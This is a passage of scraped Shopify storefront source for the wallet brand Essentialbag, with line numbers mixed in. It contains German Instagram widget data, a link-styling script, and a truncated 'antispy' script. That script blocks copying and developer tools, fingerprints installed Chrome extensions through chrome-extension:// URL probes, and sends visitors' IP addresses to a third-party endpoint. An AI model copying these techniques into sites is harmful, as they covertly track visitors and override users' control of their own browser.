cart\",\"april\":\"April\",\"august\":\"August\",\"comment\":\"Comment\",\"comments\":\"Comments\",\"december\":\"December\",\"february\":\"February\",\"follower\":\"Follower\",\"followers\":\"Followers\",\"following\":\"Following\",\"followings\":\"Followings\",\"january\":\"January\",\"july\":\"July\",\"june\":\"June\",\"just_now\":\"Just now\",\"like\":\"Like\",\"likes\":\"Likes\",\"march\":\"March\",\"may\":\"May\",\"november\":\"November\",\"october\":\"October\",\"post\":\"Post\",\"posts\":\"Posts\",\"september\":\"September\",\"two_days_ago\":\"2 days ago\",\"view_cart\":\"VIEW CART\",\"view_on_instagram\":\"View on Instagram\",\"view_product\":\"View products\",\"yesterday\":\"Yesterday\"},\"dynamic\":{\"load_more_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eShow more\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"popup_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"heading_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"heading_title\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 18px\\\"\u003eFollow Us on Instagram\u003c\/span\u003e\u003c\/p\u003e\",\"heading_description\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 14px\\\"\u003eFollow us so you'll never miss an update\u003c\/span\u003e\u003c\/p\u003e\",\"mobile_load_more_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eShow more\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_popup_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_heading_follow_btn_text\":\"\u003cdiv style=\\\"background: #101010; border-radius: 3px; min-height: 32px; padding: 0 16px;border: none; display: inline-flex; align-items: center\\\"\u003e\u003cstrong\u003e\u003cspan style=\\\"color:#FFFFFF\\\"\u003eFollow\u003c\/span\u003e\u003c\/strong\u003e\u003c\/div\u003e\",\"mobile_heading_title\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 18px\\\"\u003eFollow Us on Instagram\u003c\/span\u003e\u003c\/p\u003e\",\"mobile_heading_description\":\"\u003cp style=\\\"text-align: center\\\"\u003e\u003cspan style=\\\"font-size: 14px\\\"\u003eFollow us so you'll never miss an update\u003c\/span\u003e\u003c\/p\u003e\",\"cta_btn_text_detail_self\":\"VIEW DETAIL\",\"cta_btn_text_detail_blank\":\"VIEW DETAIL\",\"cta_btn_text_checkout\":\"BUY IT NOW\",\"cta_btn_text_add_to_cart\":\"ADD TO CART\",\"mobile_cta_btn_text_detail_self\":\"VIEW DETAIL\",\"mobile_cta_btn_text_detail_blank\":\"VIEW DETAIL\",\"mobile_cta_btn_text_checkout\":\"BUY IT NOW\",\"mobile_cta_btn_text_add_to_cart\":\"ADD TO CART\"}}},\"widget_type\":\"Instagram\",\"media_list\":[{\"media_id\":\"8402a6a7-4a69-11ef-bfa1-0e616472e6d0\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.i
13580o\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/8402a6a7-4a69-11ef-bfa1-0e616472e6d0\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/8402a6a7-4a69-11ef-bfa1-0e616472e6d0\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/C8pPOO_slBN\/\",\"caption\":\"Die Geschichte hinter Essentialbag #startup\",\"comment_count\":0,\"like_count\":23,\"timestamp\":\"2024-06-25T15:52:28Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"768a7c34-1754-11f1-88dc-4e7ad7a0e9e8\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/768a7c34-1754-11f1-88dc-4e7ad7a0e9e8\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/768a7c34-1754-11f1-88dc-4e7ad7a0e9e8\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DVa7PA9iAnI\/\",\"caption\":\"Office Tag bei Essentialbag 👨‍💼💼\\n\\nHeute steht viel an bei uns:\\n✅ neue Produktaufnahmen \\n✅ Teammeetings\\n✅ Kundensupport Optimierung\\n✅ Teamessen\\n\\nUnd vieles mehr ☺️🤝\\nWir geben täglich unser bestes für euch! ❤️\\n\\n#startup #smartwallet #essentialbag #viral\",\"comment_count\":13,\"like_count\":36,\"timestamp\":\"2026-03-03T11:35:23Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"a94aead7-1685-11f1-a986-82517a154540\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/a94aead7-1685-11f1-a986-82517a154540\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/a94aead7-1685-11f1-a986-82517a154540\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DVY0qxbiIuc\/\",\"caption\":\"Er hat jahrelang nach der richtigen Tasche gesucht, bis er sie einfach selber entwickelt hat 🥹❤️\\n\\n#slingbag #selfmade #essentialbag #viral\",\"comment_count\":3,\"like_count\":14,\"timestamp\":\"2026-03-02T15:57:13Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"06eccba0-0f40-11f1-bd56-7a153c193c68\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/06eccba0-0f40-11f1-bd56-7a153c193c68\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/06eccba0-0f40-11f1-bd56-7a153c193c68\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DVBdF-ZiMGG\/\",\"caption\":\"🍊🧡 - Ist wieder da! \\n\\n#smartwallet #viral #drop\",\"comment_count\":8,\"like_count\":13,\"timestamp\":\"2026-02-21T14:07:33Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"38ee5d1e-0e71-11f1-8c90-7a153c193c68\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/38ee5d1e-0e71-11f1-8c90-7a153c193c68\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/38ee5d1e-0e71-11f1-8c90-7a153c193c68\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DU-cz58CMuL\/\",\"caption\":\"🍊🧡 - Ist wieder da! \\n\\n#smartwallet #viral #drop\",\"comment_count\":5,\"like_count\":7,\"timestamp\":\"2026-02-20T10:08:20Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"5004beae-0998-11f1-9ebf-ee075eeb55c9\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.i
13580o\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/5004beae-0998-11f1-9ebf-ee075eeb55c9\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/5004beae-0998-11f1-9ebf-ee075eeb55c9\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DUvDdXDiFC9\/\",\"caption\":\"Kennst du dieses Gefühl, wenn dein Portemonnaie plötzlich nicht da ist? 😳\\n\\nIn Europa gehen jedes Jahr Tausende Wertsachen verloren oder werden gestohlen. Ein Moment der Unachtsamkeit – und alles ist weg.\\n\\nDamit ist jetzt Schluss. 🔒\\n\\nUnsere ultra-flache Tracker-Karte passt perfekt in dein Portemonnaie 👛 – und natürlich auch in Rucksack 🎒 oder Tasche 👜.\\n\\n✔ Kompatibel mit Apple \u0026 Android 📱\\n✔ Ortung per Karten-App 🗺️\\n✔ Lauter Signalton zum schnellen Wiederfinden 🔔\\n✔ So dünn wie eine Karte – kein Extra-Gewicht\\n\\nMehr Sicherheit. Weniger Stress. 🙌\\nWeil du Besseres zu tun hast, als zu suchen.\\n\\n#Tracker #SmartWallet #SicherheitImAlltag #AppleFindMy\",\"comment_count\":13,\"like_count\":25,\"timestamp\":\"2026-02-14T10:37:21Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"b856e3a2-fa3e-11f0-8569-b64079e95a1c\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/b856e3a2-fa3e-11f0-8569-b64079e95a1c\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/b856e3a2-fa3e-11f0-8569-b64079e95a1c\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DT7iSXbCO0u\/\",\"caption\":\"💘 Valentinstag Sale bei Essential Bag!\\nSichere dir jetzt das perfekte Geschenk für deinen Partner, deine Partnerin — oder einfach für dich selbst 😉\\nFür Männer, Frauen \u0026 Friends of Love ✨\\n\\n🎁 Plus: Zu jeder Bestellung gibt’s ein gratis Geschenk dazu!\\nNur für kurze Zeit ❤️‍🔥\\n\\n#valentinstag #valentinessale #essentialbag #geschenkidee\",\"comment_count\":22,\"like_count\":9,\"timestamp\":\"2026-01-25T10:26:08Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"b8576578-fa3e-11f0-856a-b64079e95a1c\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/b8576578-fa3e-11f0-856a-b64079e95a1c\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/b8576578-fa3e-11f0-856a-b64079e95a1c\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DT7iJs6iAni\/\",\"caption\":\"💘 Valentinstag Sale bei Essential Bag!\\nSichere dir jetzt das perfekte Geschenk für deinen Partner, deine Partnerin — oder einfach für dich selbst 😉\\nFür Männer, Frauen \u0026 Friends of Love ✨\\n\\n🎁 Plus: Zu jeder Bestellung gibt’s ein gratis Geschenk dazu!\\nNur für kurze Zeit ❤️‍🔥\\n\\n#valentinstag #valentinessale #essentialbag #geschenkidee\",\"comment_count\":61,\"like_count\":25,\"timestamp\":\"2026-01-25T10:24:56Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"b857f100-fa3e-11f0-856b-b64079e95a1c\",\"media_type\":\"VIDEO\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/b857f100-fa3e-11f0-856b-b64079e95a1c\/media\",\"thumbnail_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/b857f100-fa3e-11f0-856b-b64079e95a1c\/thumbnail\",\"permalink\":\"https:\/\/www.instagram.com\/reel\/DT7iC8HCO_t\/\",\"caption\":\"💘 Valentinstag Sale bei Essential Bag!\\nSichere dir jetzt das perfekte Geschenk für deinen Partner, deine Partnerin — oder einfach für dich selbst 😉\\nFür Männer, Frauen \u0026 Friends of Love ✨\\n\\n🎁 Plus: Zu jeder Bestellung gibt’s ein gratis Geschenk dazu!\\nNur für kurze Zeit ❤️‍🔥\\n\\n#valentinstag #valentinessale #essentialbag #geschenkidee\",\"comment_count\":10,\"like_count\":7,\"timestamp\":\"2026-01-25T10:24:23Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\"},{\"media_id\":\"47a43b74-f161-11f0-8124-b680ca4f1439\",\"media_type\":\"CAROUSEL_ALBUM\",\"media_url\":\"https:\/\/widget-static.onecommerce.i
13580o\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/47a43b74-f161-11f0-8124-b680ca4f1439\/media\",\"thumbnail_url\":\"\",\"permalink\":\"https:\/\/www.instagram.com\/p\/DTevtPEiN_W\/\",\"caption\":\"🚨 NEW DROP 🚨\\nUnser Essential Belt ist jetzt live ✨\\nErhältlich in vielen verschiedenen Farben 🎨\\nDas perfekte Essential für jeden Look – clean, zeitlos \u0026 vielseitig 🤍\\nLimitiert verfügbar, also schnell sein ⏳\\nJetzt auf unserer Webseite sichern 🔗\\n\\n#essentialbelt #newdrop #startup #accessories #viral\",\"comment_count\":19,\"like_count\":14,\"timestamp\":\"2026-01-14T06:05:00Z\",\"account_id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"source_id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\",\"carousel\":[{\"id\":\"18309573820250135\",\"media_type\":\"IMAGE\",\"thumbnail_url\":\"\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/47a43b74-f161-11f0-8124-b680ca4f1439\/18309573820250135\/media\",\"timestamp\":\"2026-01-14T06:05:00Z\"},{\"id\":\"17990029121917386\",\"media_type\":\"IMAGE\",\"thumbnail_url\":\"\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/47a43b74-f161-11f0-8124-b680ca4f1439\/17990029121917386\/media\",\"timestamp\":\"2026-01-14T06:05:00Z\"},{\"id\":\"18191835031337830\",\"media_type\":\"IMAGE\",\"thumbnail_url\":\"\",\"media_url\":\"https:\/\/widget-static.onecommerce.io\/widget_source_media\/4\/6\/1\/RrEACSRnFFdmXQ\/83fe67e7-4a69-11ef-bf99-0e616472e6d0\/47a43b74-f161-11f0-8124-b680ca4f1439\/18191835031337830\/media\",\"timestamp\":\"2026-01-14T06:05:00Z\"}]}],\"next_cursor\":\"\",\"accounts\":{\"3c5536d7-4a69-11ef-8301-a2887498cb27\":{\"id\":\"3c5536d7-4a69-11ef-8301-a2887498cb27\",\"internal_id\":\"17841440251383097\",\"name\":\"ESSENTIALBAG | SMART WALLET\",\"social_type\":\"InstagramBusiness\",\"connect_status\":true,\"username\":\"essentialbag.de\",\"avatar\":\"https:\/\/scontent-iad3-1.xx.fbcdn.net\/v\/t51.2885-15\/409638800_711985794212222_7642044036386143955_n.jpg?_nc_cat=1\u0026ccb=1-7\u0026_nc_sid=7d201b\u0026_nc_ohc=lC-mjrL3WAoQ7kNvwGmPVUA\u0026_nc_oc=AdkOLd0zOLQGrC4sv_dSE3P__T6VSJCUghumtFbieZDw0_WzAl6dfhpNjGqWkf79CHk\u0026_nc_zt=23\u0026_nc_ht=scontent-iad3-1.xx\u0026edm=AL-3X8kEAAAA\u0026oh=00_AfzA0gMtJ0H3XjqDuPGDktFbf_gDeKlxt6d7WnFb4mS_0g\u0026oe=69B04EF3\",\"gcs_avatar\":\"\",\"biography\":\"Accessoires, die deinen Alltag leichter machen \\nDE Start-up, Gründer @marvinmoik 🇩🇪\\nTeste es risikofrei für 60 Tage ⬇️\",\"followers_count\":19320,\"follows_count\":132,\"media_count\":50}},\"sources\":{\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\":{\"id\":\"83fe67e7-4a69-11ef-bf99-0e616472e6d0\",\"name\":\"Source 01\",\"total_items\":253,\"last_sync\":\"0001-01-01T00:00:00Z\",\"source_type\":\"ProfileSelf\"}},\"widget_display\": { \"display\": true, \"hide_watermark\": false }}","block_ids":["AK0hEc2R3ZUVuZ1ovM__socialwidget_instagram_feed_base_widget_KQYWDD","AM1AxUU9Mb2dlNlFYe__socialwidget_instagram_feed_base_widget_fp4bYw","AMlVVd20xOGtpZnp2d__socialwidget_instagram_feed_base_widget_4Uf3kb","AODhFMHF2STJEeDg1Q__socialwidget_instagram_feed_base_widget_Vw9WzU","ARlJkMzM3YTFBbEk4S__socialwidget_instagram_feed_base_widget_Vw9WzU","ASzhPdHdsV2FCUkhrc__socialwidget_instagram_feed_base_widget_RhBmEp","ATFhndGlodzBQbmQ0U__socialwidget_instagram_feed_base_widget_RhBmEp","ATFlTcXRCTm9WRjZzR__socialwidget_instagram_feed_base_widget_Vw9WzU","ATWg1UkUwMkp1d0NaR__socialwidget_instagram_feed_base_widget_Vw9WzU","ATlRpOUxSVWRCTWJHY__socialwidget_instagram_feed_base_widget_Vw9WzU","AVGRzRUhrUnVnYzQxM__socialwidget_instagram_feed_base_widget_Vw9WzU","AVkJMN0xGZ2NJV3ZIR__socialwidget_instagram_feed_base_widget_6XWiAV","AWUJJbnh4aWdhTUxWY__socialwidget_instagram_feed_base_widget_fp4bYw","AYUdiSlpwWVp2Mk1YR__socialwidget_instagram_feed_base_widget_afMQGw","AYlVKaVZUNG0zRVR2M__socialwidget_instafeed_base_widget_Un6mij","AZGF0TW8xdk9RNW1OM__socialwidget_instagram_feed_base_widget_fp4bYw","AZWZseklaeEFVVTdSN__socialwidget_instagram_feed_base_widget_6XWiAV","AZnVBL0FIR2dQRUpNc__socialwidget_instagram_feed_base_widget_nUepkr","Ac2t2VDdhQ0pkbGdDV__socialwidget_instagram_feed_base_widget_fp4bYw","Ac3pVSWVBOW9kZVdIR__socialwidget_instagram_feed_base_widget_f4QFdV","AeHJEeG5lSkN2UnpVY__socialwidget_instagram_feed_base_widget_gzbYkM","AeXlnb2Zqdml5dU1XS__socialwidget_instagram_feed_base_widget_Vw9WzU","AemhHNWFBNGU4L005U__socialwidget_instagram_feed_base_widget_rYJNfB","socialwidget_instagram_feed_base_widget_4Uf3kb","socialwidget_instagram_feed_base_widget_6XWiAV","socialwidget_instagram_feed_base_widget_79W9jJ","socialwidget_instagram_feed_base_widget_AHmhdP","socialwidget_instagram_feed_base_widget_KQYWDD","socialwidget_instagram_feed_base_widget_RhBmEp","socialwidget_instagram_feed_base_widget_Vw9WzU","socialwidget_instagram_feed_base_widget_afMQGw","socialwidget_instagram_feed_base_widget_f4QFdV","socialwidget_instagram_feed_base_widget_fGreD9","socialwidget_instagram_feed_base_widget_fp4bYw","socialwidget_instagram_feed_base_widget_gzbYkM","socialwidget_instagram_feed_base_widget_nUepkr","socialwidget_instagram_feed_base_widget_rYJNfB","socialwidget_instagram_feed_base_widget_x7qDEg"],"widget_id":"e4a067a9-4a69-11ef-ac30-c60d6691c167"}]}};
13581  
13582  </script>
13582<!-- END app snippet -->
13583
13584</div><div id="shopify-block-AdlhZazdFQTVWS3ZzY__13762318497758424536" class="shopify-block shopify-app-block"><style>
13585  .wl-btn-link {
13586    display: inline-block;
13587    text-decoration: none !important;
13588    font-weight: 600 !important;
13589    padding: 10px 24px !important;
13590    font-size: 15px !important;background-color: #000000 !important;
13591        color: #FFFFFF !important;
13592        border: none;
13593        border-radius: 8px !important;text-align: center !important;
13594    cursor: pointer !important;
13595    transition: all 0.2s ease;
13596  }
13597
13598  .wl-btn-link:hover {opacity: 0.85;}
13599
13600  .wl-btn-link:active {
13601    transform: scale(0.98);
13602  }
13603</style>
13604
13605<script>
13606  (function() {
13607    var selector = "\/pages\/widerruf-formular";
13608    if (!selector) return;
13609
13610    function isTriggerLink(href) {
13611      if (!href) return false;
13612      var url;
13613      try { url = new URL(href, window.location.href); } catch (e) { return false; }
13614      if (url.hash) {
13615        var hashParams = new URLSearchParams(url.hash.replace(/^#/, ''));
13616        if (hashParams.get('eu-withdrawal') === 'open') return true;
13617      }
13618      if (url.search) {
13619        var searchParams = new URLSearchParams(url.search);
13620        if (searchParams.get('eu-withdrawal') === 'open') return true;
13621      }
13622      return false;
13623    }
13624
13625    function apply() {
13626      var links = document.querySelectorAll('a[href*="' + selector + '"], a[href*="eu-withdrawal"]');
13627      for (var i = 0; i < links.length; i++) {
13628        var href = links[i].getAttribute('href') || '';
13629        if (href.indexOf(selector) !== -1 || isTriggerLink(href)) {
13630          links[i].classList.add('wl-btn-link');
13631        }
13632      }
13633    }
13634
13635    if (document.readyState === 'loading') {
13636      document.addEventListener('DOMContentLoaded', apply);
13637    } else {
13638      apply();
13639    }
13640  })();
13641</script>
13641
13642</div><div id="shopify-block-ATzdJWHhyNmRuTEpFd__10312807297210203588" class="shopify-block shopify-app-block">
13643
13644
13645</div><div id="shopify-block-ANjdwVlZyRE1NekdpW__12748184435266233910" class="shopify-block shopify-app-block">
13645<script type="text/javascript" defer>
13646 
13647 
13648  const host = 'eminenter.myshopify.com';
13649  const ENDPOINT_URL = `https://antispy-v2-t2jot.ondigitalocean.app/api/settings?shop=`+host;
13650      
13651const sendAnalytics = async (shop, userIp, userCountry, typeBlock) => {
13652    try {
13653        const analyticsUrl = `https://antispy-v2-t2jot.ondigitalocean.app/api/analytics?shop=${encodeURIComponent(shop)}&userip=${encodeURIComponent(userIp)}&usercountry=${encodeURIComponent(userCountry)}&typeblock=${encodeURIComponent(typeBlock)}`;
13654
13655        await fetch(analyticsUrl, { method: 'GET' }); // Sending GET request
13656    } catch (error) {
13657        console.error('Failed to send analytics:', error);
13658    }
13659};
13660
13661function checkIfShortCut(event) {
13662    return (
13663        event.keyCode == 123 ||
13664        (event.ctrlKey && event.keyCode == 'U'.charCodeAt(0)) ||
13665        (event.ctrlKey &&
13666            event.shiftKey &&
13667            event.keyCode == 'I'.charCodeAt(0)) ||
13668        (event.ctrlKey &&
13669            event.shiftKey &&
13670            event.keyCode == 'J'.charCodeAt(0)) ||
13671        (event.ctrlKey &&
13672            event.shiftKey &&
13673            event.keyCode == 'C'.charCodeAt(0))
13674    );
13675}
13676const fetchSettings = async () => {
13677  try {
13678    const settingsResponse = await fetch(ENDPOINT_URL);
13679    const data = await settingsResponse.json();
13680    // Implement blocking logic for all settings
13681    const {
13682        copyPast,
13683        rightClick,
13684        imageDrag,
13685        textSelection,
13686        keysShortcuts,
13687        spyExtensions,
13688        inspectElements,
13689        inspectElementsMessage,
13690    } = data;
13691    document.onselectstart = function (event) {
13692        return !textSelection;
13693    };
13694
13695    document.onpaste = function (event) {
13696        return !copyPast;
13697    };
13698
13699    document.oncopy = function (event) {
13700        return !copyPast;
13701    };
13702
13703    document.oncut = function (event) {
13704        return !copyPast;
13705    };
13706
13707    document.ondrag = function (event) {
13708        return !imageDrag;
13709    };
13710
13711    document.ondrop = function (event) {
13712        return !imageDrag;
13713    };
13714
13715    document.oncontextmenu = function (event) {
13716            return !rightClick;
13717    };
13718    document.onkeydown = function (event) {
13719        if (checkIfShortCut(event)) {
13720            return !keysShortcuts;
13721        }
13722    };
13723    if (imageDrag) {
13724        let style = `<style>
13725img {
13726-webkit-user-drag: none;
13727-khtml-user-drag: none;
13728-moz-user-drag: none;
13729-o-user-drag: none;
13730user-drag: none;
13731pointer-events: none;
13732}
13733</style>`;
13734document
13735            .querySelector('head')
13736            .insertAdjacentHTML('beforeend', style);
13737    }
13738    if (spyExtensions) {
13739        let style = `<style>
13740div[style*="2147483647"] {
13741display: none !important;
13742}
13743.extension-container {
13744display: none !important;
13745}
13746.ppspy-exp-view-root {
13747display: none !important;
13748}
13749</style>`;
13750document
13751            .querySelector('head')
13752            .insertAdjacentHTML('beforeend', style);
13753
13754        const startTime = new Date().getTime();
13755        const interval = setInterval(function () {
13756            if (new Date().getTime() - startTime > 10000)
13757                return clearInterval(interval), void 0;
13758            const e = document.querySelectorAll('div');
13759
13760            for (i = 0; i < e.length; i++) {
13761                const zIndex =
13762                    document.querySelectorAll('div')[i].style.Zindex;
13763                if (zIndex === '2147483647') {
13764                    document
13765                        .querySelectorAll('div')
13766                        [i].parentNode.parentNode.parentNode.remove();
13767                }
13768            }
13769        }, 699);
13770
13771        var facebook = [
13772            {
13773                id: 'kefmekfmfacbdefimlancoccpocmgmpb',
13774                image: 'icons/extension-icon-x16.png',
13775            },
13776            {
13777                id: 'lppbajkahdbbadheilijoeegnfndhlab',
13778                image: 'icons/extension-icon-x16.png',
13779            },
13780            {
13781                id: 'hjbfbllnfhppnhjdhhbmjabikmkfekgf',
13782                image: 'icons/extension-icon-x16.png',
13783            },
13784        ];
13785        const querySelectorAll = (node, selector) => {
13786            const nodes = [...node.querySelectorAll(selector)],
13787                nodeIterator = document.createNodeIterator(
13788                    node,
13789                    Node.ELEMENT_NODE,
13790                );
13791            let currentNode;
13792            while ((currentNode = nodeIterator.nextNode())) {
13793                if (currentNode.shadowRoot) {
13794                    nodes.push(
13795                        ...querySelectorAll(
13796                            currentNode.shadowRoot,
13797                            selector,
13798                        ),
13799                    );
13800                }
13801            }
13802            return nodes;
13803        };
13804        const checkfacebook = (id, src, callback) => {
13805            let e = new Image();
13806            e.src = 'chrome-extension://' + id + '/' + src;
13807            (e.onload = () => callback(1)),
13808                (e.onerror = () => callback(0));
13809        };
13810        window.addEventListener('load', function () {
13811            [
13812                ...document.getElementsByClassName(
13813                    'extension-container',
13814                ),
13815            ].forEach((e) => (e.style.display = 'none'));
13816        });
13817        var blockCallback = function (items) {
13818            // console.log('kefmekfmfacb');
13819        };
13820        window.addEventListener('load', function () {
13821            var tags = querySelectorAll(document, 'iframe');
13822            var ext = tags.filter((item) => {
13823                return ![
13824                    'intercom-frame',
13825                    'admin-bar-iframe',
13826                    'preview-bar-iframe',
13827                    '^$',
13828                    '__JSBridgeIframe_SetResult_1.0__',
13829                    '__JSBridgeIframe__',
13830                    '__JSBridgeIframe_SetResult__',
13831                    '__JSBridgeIframe_1.0__',
13832                    'looxReviewsFram',
13833                    'looxReviewsFrame',
13834                    '^paypal-offers--iframe-(.*)-(.*)-(.*)-(.*)-(.*)$',
13835                    '^(.*)paypalLight(.*)$',
13836                    '^fb(.*)$',
13837                    '^snap(.*)$',
13838                    '^tiktok(.*)$',
13839                    '^bytedance(.*)$',
13840                ].find((value) => new RegExp(value).test(item.id));
13841            });
13842            if (ext.length > 0) {
13843                blockCallback(ext);
13844            } else {
13845                facebook.forEach((element) => {
13846                    checkfacebook(element.id, element.image, (ok) => {
13847                        if (ok) {
13848                            blockCallback(element);
13849                        }
13850                    });
13851                });
13852            }
13853        });
13854    }
13855    if (inspectElements) {
13856        const devtools = {
13857            isOpen: false,
13858            orientation: undefined,
13859        };
13860
13861        const threshold = 160;
13862
